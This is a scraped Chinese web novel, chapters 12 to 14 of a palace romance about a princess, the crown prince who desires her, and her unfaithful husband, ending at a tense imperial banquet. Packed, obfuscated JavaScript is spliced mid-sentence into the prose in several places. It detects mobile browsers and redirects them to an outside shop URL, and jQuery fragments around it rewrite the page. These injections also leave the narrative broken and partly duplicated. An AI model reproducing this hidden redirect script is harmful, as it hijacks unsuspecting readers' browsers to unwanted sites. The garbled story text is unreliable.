容追是见过世面的,太子发话他在一旁待着就是,但春桃毕竟是个小丫鬟,归根结底也不是服侍太子的人,她只恨自己为什么长了耳朵,哪里敢听下去,当真是留也不是去也不是。 赵清漓轻车熟路地找了位置坐下,一时间让人分不清谁才是这宫殿的主人,赵辞却很乐得这种场面,他不喜欢赵清漓因为怕他而疏离他。 赵清漓开门见山地说:“我便直说了,周砚枕在宫外与那花魁娘子相好的事你是否一早就知晓?” 与方才心中猜想不差分毫,赵辞自若地抿一口茶:“不知。” 怎么可能! 赵清漓冷笑:“他不过是你指间的一枚棋子,你又何必替他隐瞒?” 赵辞无奈地摇摇头:“清漓误解我了,我是真的不知道,不过......” “不过什么?” 知她着急,赵辞却故意卖起了关子,若无其事地抿了口茶,碧螺春的清香在鼻尖萦绕,他心情甚佳,又抿一口。 赵清漓最厌他这种自诩聪明,好像一切尽在他掌握之中的样子,他越如此,她越不安。 她立刻坐不住了,起身几步走到赵辞面前,从他手中夺去那只轻巧的烧瓷茶盏狠狠砸在桌上,杯底和瓷盘碰撞发出刺耳的声响,险些碎了,冒着热气的茶水洒出些许,一半溅在他指上,一半从她虎口慢慢淌下。 赵辞凤眸微扬,眼中闪过一丝不加掩饰的怜惜,不顾赵清漓的抗拒,强硬地掰过她微微发红的手端详。 他身上穿的服制是织造司新赶出来的,光是布料就织了三个月,现下却被他随意拽着袖口擦拭那只小巧玉手上的茶渍,松开之后,掌心的布料已经褶皱的不成样子,算是废了。 赵辞却毫不在意,确认她的手无碍后,沉声开口:“拈花惹草、见异思迁,无非是男人的通病罢了,你又何必介怀至此,你整日瞧着这后宫佳丽三千,怎么连这点道理都想不明白?” “男人的通病?”赵清漓皮笑肉不笑地抽回手,讥讽道,“我倒忘了皇兄也是男子,诡辩起来倒是面不红心不跳!” 赵辞暧昧地笑着:“随他周砚枕如何,我同他不一样,我只钟情于清漓一人。” 赵清漓还没来得及给他一记白眼,远远低头站着的容追倒是忍不住先打了个冷颤。 没想到太子殿下上能舌战文武百官,下能惩戒奸佞贼人,白日里总装得一副道貌岸然谦谦君子的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倚香楼那女子是否周砚枕的相好已经不那么重要了,但赵清漓仍有不明白:“你既对我有意,为何不向父皇......” 为何不向父皇提亲。 赵清漓没问下去,她险些忘了自己并非皇室血脉这件事不是可以轻易昭告天下的,她的“父皇”爱惜她,又把面子看得极重,这件事一旦传出去必定引起非议,到那时皇后的尊严又该放在哪里。 赵辞按在她墨发上的手一下一下轻柔地抚着:“清漓莫急,待我做了皇帝,任你是什么身份都不会有人敢议论。” 这句话突然把赵清漓再次拉回现实,趁赵辞还沉浸在自己的柔情蜜意中一把推开了他,后退两步遥遥望着他,眼神冰凉。 “皇兄是想登上皇位再寻个欺辱皇妹强抢人妻的名声吗?”赵清漓觉得可笑,“赵辞,有时候我真不明白,你到底安的什么心?” 她觉得赵辞像个疯子。 就像流水从来都是自上而下,他偏要让它逆流而上。 就像说书人的故事已经说到结尾,他偏要将已成定局的故事重新掀翻。 他就是要把平静的湖水搅的天翻地覆,搅成一滩浑水,让所有白的都变成黑的,善的都变成恶的,所有的伦理纲常最好都不复存在。 偏要做这损人不利己的行为。 赵辞慵懒地挑了挑眉,没有回答她的问题,而是态度强硬地命令:“明晚宫宴后,你去回禀父皇,先前说要出宫的话都是戏言。” “我为何要听你的!”赵清漓也不甘示弱。 “你只能听我的。”赵辞危险地眯起眼,留下警告,“否则你一定会后悔的。” 12. 第 12 章 韶音宫。 赵清漓带着春桃回去时,周砚枕正在沐浴。 净室内阁雾氲缭绕,微透的窗纸上又沾一层霜雪。 赵清漓驻在门前停了片刻,犹豫了一瞬之后,把心一横推门而入。 “殿下止步。”周砚枕略急促的声音响起,称谓上也很疏离,似乎是第一次显现出紧张无措,虽然只有那么一点。 可惜赵清漓并不听他的,一步一步上前,最后停在玉色描着山水的屏风之外,越过朦胧的纱面,墨色的山水画上仿若添了几笔云雾,那模糊的背影似画中仙,背对着她,隐约露出柔和的侧脸轮廓。 “怎么,我连自己的驸马都不能靠近了么?” 话是这么说着,赵清漓的眼神却在迅速将房间内陈设扫视一遍,最终落在手边的紫竹架上,那上头挂着他刚换下的衣裳。 赵清漓拧了拧眉,手指缓缓靠近那套月白色长衫,还未触碰到那淡雅的颜色,水汽中混合着的香粉味道扑鼻而来,随着她的靠近越发浓烈。 她突然觉得有些恶心,抑住那不知是劣质香料带来的冲击,亦或是心中的反应,嫌恶地抽回手,像见了什么不干净的东西一般退避三舍。 周砚枕的声音在房里显得空灵而渺远:“公主想问什么,我稍后自会一五一十回答清楚,只是现下实在不便,还请您......移步。” 似乎......不必再问了。 “殿下?”试探的声音传来。 赵清漓突然觉得心中郁结之气浓重,抬手用力拂开屹立在面前的屏风,遮挡应声斜倒在墙边,响的人心烦,眼前的景色却突然明朗。 周砚枕肩颈的线条微不可闻地僵硬了一瞬,屏风打着墙面的时候,浴池里的人似乎轻轻叹了口气。 泛着粉色的细指从靛色的宽大袖口中伸出一截,食指和中指在周砚枕肩头轻轻落下,蹭去一层凝结的水珠。 周砚枕仍是留给她一个孤高的背影,平静的任由她触碰,也看不到身后那人冷若冰霜的目光。 明明哄她是最简单的事,他突然不知道能说些什么。 清冷的声音忽的他从背后响起,似很远,又近在耳边:“周中丞若有得选,想娶一个什么样的女子为妻?” 眼前这近在咫尺的身体是她的夫君,原是属于她的,她还未沾染过分毫,可昨夜又是在什么样的女子指尖下把玩呢? 说来可笑,她甚至没资格这么想,于周砚枕而言,她又何尝不是如此! 周砚枕道:“臣没有想过。” “不如大人现在想想?”她想知道能让周砚枕如此惦记的花魁娘子是什么样的人,究竟是多么美丽的一副皮囊能吸引他到这般境地。 “若臣有得选,应该会选父母之命、媒妁之言。”他的回答十分意外。 犹记得,周砚枕的双亲在他入朝为官前早就已经过世了。 他倒是孝顺! 赵清漓暗自冷笑,指间从周砚枕的肩胛流连至蜿蜒如清溪的锁骨,能够明显感觉到这副身体随着她的动作轻微痉挛,喉结悄然快速地上下滚动。 “好、好、好。”赵清漓接连说了三个好字,撤回了手,“你不愿说就算了,我不逼你。” “周砚枕。” 她顿了顿,周砚枕在等她的下文。 周遭安静了不知多久,直到她心口宛如千刀万剐一般,背过身下定决心:“我们和离。” 就算她成为有史以来第一个刚刚成婚就和离的公主,就算她成为街头巷尾茶余议论的笑柄。 她认了。 “不可!”周砚枕却立刻拒绝了她的提议。 赵清漓的脚步一顿,随即背对着他好心地补充:“你不必紧张,若父皇问起我只会说你我二人性情不合,断不会影响大人仕途。” 说罢,赵清漓丝毫未犹豫地走出净室。她不知道自己是如何离开的,只是动用了全身力气提起那双灌了铅的腿,努力、机械般的走着。 这是她最后的尊严。 —————— 寝殿内阁,桌上摆着精致的糕点,桂花香气扑鼻,水已凉透了。 夏荷进来收茶具,却见桌面上的东西一点没动的样子,赵清漓就这么托着腮,看着小院外纷纷扬扬的白黄花絮,像雪一样。 再过几个月怕又是要下雪了,是不是天越来越凉,公主这畏寒的身子又不大舒适了? 夏荷这么想着,悄悄凑过去看她,这一瞧不要紧,吓得她差点腿一软跪在地上。 “公主殿下!您、您怎么哭了......” 若不是夏荷提醒,赵清漓自己也没察觉脸颊已经湿润,拖着下巴的袖子也浸了一大片深色。她恍恍惚惚地回神,冰凉的指尖在脸上轻轻带过,果然沾了满手的云露。 她......哭了? 赵清漓从小就不是个爱掉金豆子的,懂事之后更是没落过泪。她的身边都是疼她爱她的人,鲜少给她委屈受,即便真有什么委屈,事后自然有人为她出气。 今日却为了一个与自己本就该毫无相关的人流泪。 她唾弃这样的自己。 夏荷有些紧张:“公主可是在谁那受了委屈?奴婢瞧您方才从驸马爷那里出来......” “我没事!”赵清漓打断夏荷的话,露出一个柔弱的笑,“准是要入深秋了,外头的景致也有些萧瑟,难免看得人心中伤感罢了。” 夏荷更觉得是驸马惹她不愉快了,思忖几分,斗着胆子开口:“公主若是心中有什么不愉快的,大可回禀了圣上,圣上那般疼您定会为您做主的!实在不行,公主您去找太子,太子殿下他向来——” “夏荷。” 突兀的男声打破二人闺阁中的细语。 夏荷闻声回头,庆幸自己刚才还好没有说驸马爷什么坏话! 夏荷长出一口气,驸马肯来认错就好了,他是公主的心上人,定是能将公主给哄好的。 “那,奴婢先退下了。”夏荷知趣地抱着楠竹托盘退出房间,还很贴心地把门带上了。 房里短暂的陷入一片死寂。 赵清漓不想和他说话,心中却又隐隐期待他说点什么,而周砚枕不知道作何想法,立在那里沉默不语。两人就这么僵持着。 末了,周砚枕大概想好了说辞,端雅地掀起长袍前摆坐在她的对面,姿态从容。 他换了身新衣裳,衣料上浸的不再是庸俗的脂粉味,带着浅浅的皂香,干净的像雪天响晴的暖阳。 继而周砚枕开口:“你要与我和离,可问过太子的意见了?” 这关赵辞什么事?她堂堂一国公主,连休个夫都做不了主吗! 赵清漓胸中气愤险些上头,好在她还没到失去理智的地步,很快记起她和周砚枕的婚事本就“归功”于赵辞,周砚枕不过是个被人利用听话的棋子。 她沉下一口气,语气森然道:“周大人这是在拿太子压我?他是你的主子,不是我的!” 周砚枕垂下眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999031|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,光线的晦暗之处,他仿佛无奈地笑了一下:“臣人微言轻,烦请公主还是和太子商议之后再做决定,免得......免得对你我都不好。” “你威胁我?”赵清漓气极反笑,杏眼微微睁大,眉梢也跟着挑起一弯诧异的弧度。 周砚枕望着她,神色平淡,甚至还挂着似有若无的规劝般的笑意:“清漓,是你在为难我。” 赵清漓猛地起身,含着下巴居高临下地晲着他:“你总说你人微言轻,那么对你而言,究竟坐到什么位置才算足够?” 她从袖子出伸出因为气恼而攥得泛白的手,摊开手指细数着:“是三品侍郎还是二品中书,还是你也觊觎那侯爵之位?还是说——” 掰下最后一根手指,赵清漓眼中带着寒芒,锐利的目光像刺一样扎向他:“周大人,您觉得天子这个位置......如何?” 这些话中尽是嘲讽,她原以为周砚枕这等清高之人听不得这些大逆不道的话,却没想到周砚枕的表情太过坦然,甚至不像是把这些话当成玩笑,而像是听到了一段寻常到家喻户晓的事实,这种反应让赵清漓颇感意外。 但他还是仔细地思考了一下,给出回应:“如果可以,臣只想做坊间百姓中最普通的一介布衣。可惜人的命数都是上天定好的,臣......无力回天。” 说到这里,表情十分无奈:“公主身份尊贵,自然体会不了寻常百姓的苦楚,人间疾苦,苦不堪言。” 赵清漓朱唇轻启:“你想让我可怜你?” 周砚枕摇头:“公主想听故事吗?” 赵清漓没说话,周砚枕只当她同意了,于是自顾自地开口:“臣自小家境贫寒,双亲皆是偏远村落的农户,靠卖柴打猎为生,小的时候,父母最大的希望就是我能好好读书,待有一番作为后带着他们入京,也学旁人看一眼那繁花湖海、芳菲人间,不再过那饥寒交迫的苦日子。” 说到这里,他起身背过肩,遥遥望着窗外飘落的黄叶:“臣幼时有个姐姐,小的时候父母只逼我读书写字,待姐姐却是极好,家里银钱不多,有什么好吃的好玩的总是留给胞姐。说来可笑,双亲在世十余载,我能记住的却只有他们用柴条一遍遍打在我身上的感觉。” 这便是周砚枕的童年吗? 驻足在窗边的背影突然朗声笑了:“他们同我说的最多的只有读书、出人头地,从小我便知道,我活着就是为了利益、为了权利,只有得到那些,父亲和母亲才会满意,或许那个时候他们才会待我和姐姐一视同仁。” 突然,周砚枕的话顿住了:“可后来他们死了,全都死了,什么都没有留下,什么都没有教会我,只是让我牢牢记住了寒门出身的我应该做什么应该得到什么。” “所以清漓——”周砚枕转过身,释然地笑了笑,“你说我贪慕权势也好,我认,你说我是错的也好,我也认,可我已经没有回头的余地了,打从我来到这个世上的第一天起,我就没有选择的权利。我很羡慕你有这样的家族,有疼你爱你的长辈,所以清漓,我并不想毁了你的幸福,你不要为难我,否则......我不知道自己会做出什么......” 赵清漓一时分不清他是在威胁自己还是希望自己怜悯他:“你......” 下一刻,那总是挺直的坚韧的脊背卑微地弯了下去,周砚枕猝不及防地跪下,把脸低微地伏在地面上。 赵清漓看不到他的表情,只能听到他一字一句清晰的声音:“我在求你。” 13. 第 13 章 沉默了一阵,赵清漓凝声:“可你已经毁了。” 从他成为太子党羽的那一刻,从他与自己相识的那一刻,从十七夕大婚的那一刻,周砚枕已经毁了她的所有,或许错不在他,但他难辞其咎。 伏在地板上低垂的头仍是保持卑微的动作,只是在听到她平静陈述这件事实的时候明显僵了一瞬 良久,与黝黑地板有着鲜明反差的颜色带着歉意和真诚:“那我只能对你说一声,抱歉了。” —————— 暮色淹没朱红的宫墙,宫灯逐渐亮起,点缀在皇城的各个角落。城门、大道、小径、椒房,都挂满了星星点点。 瓦檐四角鎏金的铜铃随风轻响,烛光燃起,殿内灯火辉煌。 青玉铺就的地面光洁如镜,倒映着前来赴宴之人衣袂飘飘,霞帔夺目。 赵清漓还是穿上了那套云霏妆花缎织的百花蝴蝶锦衣,织造司大张旗鼓地送来衣裳,她若不穿就是驳了太子的面子,更令人起疑。不过这套华服的确适合她,再簪上数月前生辰时父皇送的那只赤金缠凤点翠步摇,三颗浑圆的月珠坠于鬓边,一步一晃,尽显公主的娇贵与华美。 光禄殿内,银盘里玉白色的乳鸽卧在鲜翠的荷叶上,琥珀色的血燕汤羹里浮着构杞。 觥筹交错间,宾客们各自举杯攀谈,尤其是太子身边,不乏挂着违心表情的权贵官员,有的携家带口,带着官眷贵女,热络地上前引荐。衣着光鲜的女子或落落大方地敬上酒杯,或面含娇羞的躲在长辈身后。 赵清漓距他不远,避免不了瞧见这副光景。 只一眼,却莫名同熙熙攘攘遮掩中的凤眸对上了,倒像是他一直在等她看过来似的。 赵清漓被这想法吓了一跳,随即甩了甩脑袋,觉得不妥。 她就不该看过去的,哪怕是不小心! 慌乱之间,她端起手边的酒杯一饮而尽,这酒入口甘醇带着蜜香,尾调中藏着清冽,饮罢更是从喉间到胃里都暖融融的,乃是去年这时用桂花和桃花同酿,还加以松针、青柏叶一同入酒,今时才刚启封的赤霞玉露。 好喝! 周砚枕见状提醒:“你素来少饮酒,宫宴还未开始,切莫贪杯。” 赵清漓当作没听见,赌气似的又给自己倒了一杯,一饮而尽。 周砚枕伸出一半想要阻拦的手在空中一滞,知晓她这是还在气恼自己,再劝只会起反作用,只好作罢。 “皇兄你瞧,咱们宫里这么多皇子皇孙,风头却竟给他一个人出了!” “自然,因为他是太子。” 赵清漓被旁人抱怨吸引,偏头看去,果然是赵齐,他右手边坐着一位身穿檀紫色锦服的男人,容貌算不上出挑,脸型偏瘦,五官看来总觉得有些阴霾,这便是淮王赵端。 自从赵辞做了太子,淮王变得越发低调了,一改昔日张扬跋扈的样子,连父皇都赞他不错,反倒是六皇子一如既往的不成气候,让人觉得头疼。 察觉到有人在看他,淮王原本正低头饮酒的动作戛然而止,猝然偏头寻到凝注在他身上的目光。 四目相对,淮王点头微微抬起唇角,上下打量她一番:“清漓今日这身衣裳......不错。” 夸人依旧如此没水准......赵清漓嘴角抽了抽,还是谢过他的称赞。 赵齐撇撇嘴,抱怨还没结束:“是啊是啊,皇兄是太子嘛,瞧他那副得意样子,被一群莺莺燕燕围着,跟那楼里散钱的公子哥儿似的!” “说话别失了分寸!当心父皇和丽妃娘娘听见!”淮王警告地瞪了一眼,压低声线提醒。 提到父皇和母妃,唠叨声好像就在耳边,赵齐突然觉得有点犯怵,赶紧收敛了一些。 不过......这么热闹的场合,那位主人公迟迟未到也就罢了,再不找点乐子?这宴会也太无趣了! 眼珠儿一转,在赵清漓和她一旁的周砚枕身上来回扫了几眼,赵齐扬了扬眉,歪着脑袋抛去耐人寻味的眼神:“平日甚少见到周大人,还没来得及问一句,近来可好??” “皇兄。”赵清漓沉着声音,提醒他不要哪壶不开提哪壶。 诶?怎么都这般无趣! 赵齐颇感无聊地咂咂嘴。 周砚枕轻轻拢眉,思谂了片刻,端起面前的鎏金酒杯,踱步来到这位他素来不怎么打交道的六皇子面前。莫说赵齐本人不知何故,身边众人也觉得诧异,只有赵清漓拧起秀眉,若有所思。 身边侍奉的宫女立刻把两人的酒杯满上,退在一旁侍候。 “六皇子殿下。”周砚枕勾起唇角,酒杯放低几分,“托六皇子殿下鸿福,臣一切安好。” 赵齐飞速在脑中思考,近日是哪里得罪了这位大人,想来想去也只有那日倚香楼的事,莫不是清漓出卖了他,还被这伪君子哄骗过去了? 赵齐立刻向自己的好妹妹投去怀疑的目光,收到的却是后者摇头否认的回应。 “什么时候周大人也学会说这种客套的话了。”正在赵齐想这酒该怎么喝的时候,一旁的淮王突然从位置上起身,拿着酒杯靠近而来,还略带嗔怪地瞧了赵齐一眼,“周大人是朝廷重臣,深得父皇和三哥器重,你向来在皇宫里待不住,又怎能有机会见到周大人?” 赵齐摸不透淮王此刻掺和进来是什么意思,是来帮他解围的?可眼下似乎也没什么困境啊? 还没等他想明白,淮王已自顾自地抬起酒杯,主动凑近周砚枕的杯檐碰了一下,金器碰撞的声音又轻又脆。 “周大人,本王与六弟一同敬大人一杯。” 片刻的静止之后,几人心照不宣地一饮而尽,而后各自回到自己的位置。 想到那日满屋子的弹劾文书,赵清漓忍不住又看向赵辞,正遇上那人默然观察之后收回的眼神,对她微微展颜。 总觉得诡异。 众人渐渐落座整齐,侍奉圣驾的人已经悄悄去了外头三四趟,怕是永元帝在殿后等的失去了耐心,因而反复派人去催促。 赵清漓注意到了,自然也有其他人注意得到,众人虽然嘴上不说,心中也已经认定长宁公主这是故意拖延想给圣上难堪。 周遭小声的议论渐渐大了起来,这长宁公主也太没脑子了,真当圣上不会动她?他只是良心多了那么一点,可不代表他是软柿子可以随意揉捏!再这么作下去,只怕是要随她父亲一同去受苦了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999032|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 传话的小太监又悄悄回来了,这次回来的很快,赵清漓猜想不会再有下一次了,若长宁公主还不到场,父皇也断不会等她了,还会想个由头处置她,毕竟他老人家也那么好面子。 宴席的准备已经到了尾声,太监突然通传,有人到了。 朱红织金的宫装拖着长尾摇曳而来,云间之上,满缀的东珠随着步伐簌簌作响,金线绣制的牡丹沿着宽大的裙摆蔓延至腰间,以石榴红的宫绦收尾,琳琅满目的宝石翡翠更是在步履间晃惹人眼,她发间那支瑰丽无比的金簪不似大历之物,与她张扬的笑容相互辉映,整个人如云霞烈火一般夺目。 有贵女深吸一口气,小声数着她身上究竟有多少奇珍异宝,稍微明事理些的权臣冷汗直冒,这等装束让皇后看见了,只怕会觉得喧宾夺主。 赵齐摇着头,毫不遮掩心中的鄙夷:“清漓你瞧,给她办个接风宴,还真把自己当主角了?” “以她的性子做出这种事也合情理。”赵清漓随口敷衍了一句,眼神在长宁公主身上始终没有离开。 长宁公主走得很慢,有意向人展示似的,目光在两侧众人身上流连一遍,看起来极其享受这种看似众星捧月的感觉。 她的位置离最高处最近,与太子相邻,几乎是平起平坐的。 赵清漓觉得这样不太合礼节,又听到赵齐完全闭不上的嘴在一遍嘟囔:“太子这招挺狠啊,这是捧杀啊捧杀!” 她心下明白了,这是赵辞刻意安排,长宁公主的位置越高,其他人对她的偏见也就越大。 这长宁公主日后怕真是留不住了。 长宁落座之后,太监紧跟着通传圣驾已至。 永元帝迈着缓慢沉稳的步子,脸上带着隐隐的不快,看来是真等得不高兴了。 这场宫宴永元帝只带了皇后和惠贵妃,这两人一左一右伴侍奉,一个端庄沉静、一个艳丽柔情,一个如月、一个如星,都是世间少见的美人,纵是经历过岁月的沉淀也依旧如此。 立在一旁的太监一声高喊宣布宴席正式开始。 礼乐之声陡然清亮,着红带绿的舞姬踏着优美的步伐翩然入场,水袖翻飞,宛若蝴蝶宛转花间,宛若流萤轻歌载舞,琵琶声、笛声此起彼伏,席间宾客逐渐被表演夺去注意,暂时忘记方才大肆议论的荒唐事。 一曲已毕,舞姬踏着一如来时的步伐飘然退场。 永元帝余光扫过高扬着头颅目中无人的长宁公主,换上一面慈父般和蔼的笑容:“当年长宁远嫁岭北,身负两国邦交众人,这些年来谨守礼度、劳苦功高。而今平安归朝,朕内心甚慰,今后便在宫中好生安住,再不必受那远隔千山之苦。” “恭贺圣上,恭贺长宁公主。” 看着周围许多陌生而又违心的面孔,尤其是最高之处安坐龙椅那人,长宁眼底泛起一丝冷意,唇边笑意却更深了。 她端起酒杯起身回话:“承蒙父皇和诸位挂念,儿臣在他乡日夜思念大历,如今幸得上天眷顾,父女团聚,今后定在宫中长伴身侧,尽孝膝前。” 皇后和贵妃也面含春风地看着长宁公主,尽管大家都心知肚明,不得不说,这番场景看来还真是......温馨。 14. 第 14 章 酒盏之中玉液饮尽,第二曲开唱,满席又恢复至先前的样子。 直至酒过半旬,赵清漓都觉得这场宫宴顺利的有些蹊跷了。 一旁的周砚枕见她神色恹恹,一脸的心不在焉。 这场宴席之上,赵清漓同他说的话不足三句,在场众人皆知赵清漓爱慕他多年,今个却是演起了貌合神离的戏码,饶是他一味地献殷勤,为她剥虾添羹、嘘寒问暖。若是些不怎么上心的,只当他们二人是在闹别扭,床头吵架床尾便和了,可若被有心之人看到了,随意思量一番自会觉察出怪异。 暗中看向对面端坐的太子,他正垂着眼眸,气定神闲地捏着酒杯在手指间把玩。 周砚枕有些吃不透他在想什么,而此时的赵清漓已经饮下半壶蜜酿,胜雪的脸颊染上飞霞颜色,美目中水波流转,已是显露醉色。 一曲尽兴,宴客们从表演中回神,浅浅交谈了一番,大殿之上短暂地还算安静。 一直默默用膳的长宁公主拿起方帕擦拭几下嘴角,慢条斯理地拉下裙摆起身:“父皇,儿臣有一请求,恳求父皇答应。” 听到长宁公主的声音,永元帝心头一跳,碍于大庭广众之下只能露出慈爱的笑:“什么求不求的,长宁想要什么尽管开口便是,朕定能满足你!” 要的就是这句话! 长宁公主缓缓抬头,脸上带着几分张狂:“儿臣请求父皇准许瑄亲王返还上京。” 此话一出,一片哗然,就连永元帝也变了脸色。 谁不知道长宁公主和永元帝一口一个儿臣一口一个父皇的唤着,不过是面儿上的事,毕竟长宁公主原是瑄亲王家的,若非因为和亲,永元帝怎会给她这个名分。 至于瑄亲王,永元帝担心他为了女儿心生歹意,虽给了他个亲王身份,却是打发到了南境。那里虽不比北边苦寒,但常年气候干燥,风沙又大,最重要的是离上京最远。说到底,是永元帝为图自己心安罢了。 永元帝沉默了一会儿,顾左右而言他:“......瑄亲王驻守南境,劳苦功高,朕自会给他奖赏。” 言下之意,他并不打算放他回来。 长宁公主一改前半场的安静,像是早料到永元帝会拒绝一样反唇相讥:“父皇可是不愿放人?您已经有个儿子战死在南境,还想看您的哥哥也死在那吗——” “长宁!”永元帝怒喝一声,甩开惠贵妃在他胸口安抚的手站了起来,“你放肆!” 八皇子连忙扯了扯赵辞的衣袖,神色紧张:“三哥,你不劝劝?” 自己其他兄弟年纪还小,这个时候也说不上什么话,淮王和六皇子说话向来说多错多,恐怕会火上浇油。这么多人里也只有太子说话顶用些。 只是赵辞这会子还未打算置身其中,摸了摸他的头道:“不急。” 大殿上的对峙声愈演愈烈,许多朝臣打起圆场劝阻,向来话多的六皇子早就与长宁公主舌战起来,还是一旁的淮王费劲力气才把他按在座位上,否则那唾沫星子都要飞去长宁公主脸上了。 赵清漓原本支着脑袋在桌前昏昏欲睡,这会儿酒意都被吵醒了一半。 “怎么?我替你女儿嫁给那个老匹夫,你却扣押我的父王在那偏远之地,如今我已回大历,你还不肯让我们父女团聚,如此过河拆桥薄情寡义,你就是这么对待你的至亲兄弟吗!” “你——” “父皇!” 被当众驳了颜面,永元帝险些背过气去,好在皇后及时搀扶住他,眼神示意儿女们不必担心。 皇后冷眼望向下方大殿上的人:“长宁,若你现在住口便还是大历的功臣,若你再说下去......本宫断言你和你的父王都会成为大历的''罪人''!” 长宁狞笑几声,高傲地仰着头:“哦?皇后娘娘打算如何?” 皇后看着她,突然笑了笑。 一直没开口的赵齐突然敲了敲桌子,指节在桌面上发出“铛铛”清脆的两声,而后他站起身,慢悠悠道:“长宁公主今日在殿上如此慷慨陈词实在感人,不过......” “不过什么?”长宁警惕地看着他。 不知道为什么,每每被太子注视时,她都有一种蚂蚁爬过全身的感觉,让人不寒而栗。 赵齐温和地笑道:“你可问过瑄亲王的意思了?” 长宁公主微微一怔,似乎没听懂他这话是什么意思。 赵齐一副耐心解释的模样:“依本宫之见,皇叔若知晓你在殿前这番作为,未必还会想认你这个女儿,他也未必会想回来。” 说完,他话锋一转,语调陡然降温:“噢,本宫猜他......一定不想回来。” 这显然是威胁。 高台之上的永元帝见太子也站了出来,当下心情也缓和不少,方才是他气极了,怎么忘了这是大历的国土,而他是大历的帝王,所有人都要按照他的意愿活着,不论是否出于本意,他的皇兄也不例外。 “澜之。”永元帝抬了抬手,投去赞许的目光,示意他先退下。 永元帝轻咳两声,在众人正在想他会如何处理长宁公主时,他却突然坐下了,顺着惠贵妃送到嘴边的茶盏杯缘抿一口茶,面色平缓下来:“我儿......我儿长宁回朝,是大历的喜事,今日许是多饮了酒说了许多胡话,朕念你一向乖巧,下不为例。” 又是一片哗然。 众人心里纳闷,永元帝这是什么意思?就这么算了?长宁公主这么拿他的威严在脚下踩,未免心胸也太过宽广了...... 但也有人小声恭维起来,觉得永元帝这才是帝王风范,不愧一国之君。 大殿两侧走近几名侍卫,迅速将长宁公主围在其间,做出请她重新入席的姿势。 长宁公主咬了咬唇,知道自己再轻举妄动,这些内侍也很有可能“失手”伤了她,甚至杀了她。正如方才赵辞说的话,她的父王是否想要回京并不重要,坐在龙椅上那人也可以让瑄亲王自己不想回京,亦或......被迫不想回京。 是她冲动了,高估了帝王之间的手足之情。 宫宴这才过半,赵清漓被这场闹剧扰的脑袋发懵,方才那场合牵扯到她,她是无论如何都不能开口的。不仅如此,想到长宁公主至少是父皇亲兄弟的女儿,同他多少有着血缘关系,可自己...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999033|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哪里配说话! 想到这里,只觉心中抑郁更甚。 周砚枕不由分说夺去她正欲再拿起的酒杯,只看那精致的杯盏中酒水几乎要溢出来,便可知赵清漓已经醉了,连添酒都把握不好分寸。 心情不佳,身边人又各怀鬼胎,这种场合赵清漓实在喜欢不起来,也享受不起来。她此时也有些理解为何宫中美酒数不胜数,六皇兄却还是总喜欢在宫外喝的昏天黑地,至少痛快、自在。 手中酒杯赫然被人横刀夺去,她的指背上落了几滴佳酿,许是喝了酒的缘故,隐约感觉体内有些燥热,就连指尖也微微泛红起来,更是感触不得那几点冰凉了。 “做什么?”待看清是谁,赵清漓歪着头一脸的不满,“还我。” 因为身子重心不稳,摊开的小手不受控制的略微颤抖,但这小手的主人仍是努力做出一脸倔强,哪里知道自己的表情看起来不仅毫无威慑力,反而显得憨态可掬。 “你有些醉了。”周砚枕这么说道。 “多管闲事!”赵清漓娇哼一声。 眼见那人不肯还她酒杯,她左右瞧瞧,两只眼睛最后牢牢锁在右手捏着的酒壶之上,金壶的把手已经被她攥得热了,以至于连她自己都没注意到这酒壶在她手中。 下一刻,她抬起胳膊就要拿着酒壶把其中鲜酿往口中送。 “清漓!”周砚枕的声音提高两分,带了点斥责的意思。 他没见过赵清漓醉酒,越是无法预料的后果越难控制,周砚枕断不能接受在今天这样的场合出错,因此去夺她酒壶的动作也不再温柔。 壶盖微启,原就所剩不多的赤霞玉露全喂了面料珍贵的衣裙。 赵清漓懵了片刻,瞳光愈发难以集中,费力地甩了甩头。 ......更晕了。 周砚枕叹一口气,扶上她细弱的腰肢:“我扶你回去。” 可惜赵清漓虽然脑子晕了,基本的认知尚有残存,她还记得自己和周砚枕有嫌隙。 “不要你扶!”两手在他胸膛一推,虽然挣脱了,人却也好不到哪去,一下跌坐回了原处。 最要命的是这一嗓子在噪杂的环境中多少显得尖锐,近处不少人被两人拉扯的动作吸引到,甚至有人议论两人之间是不是闹别扭的谈话声都已经落到了周砚枕的耳朵里。 他隐隐有些不好的预感。 “驸马?” 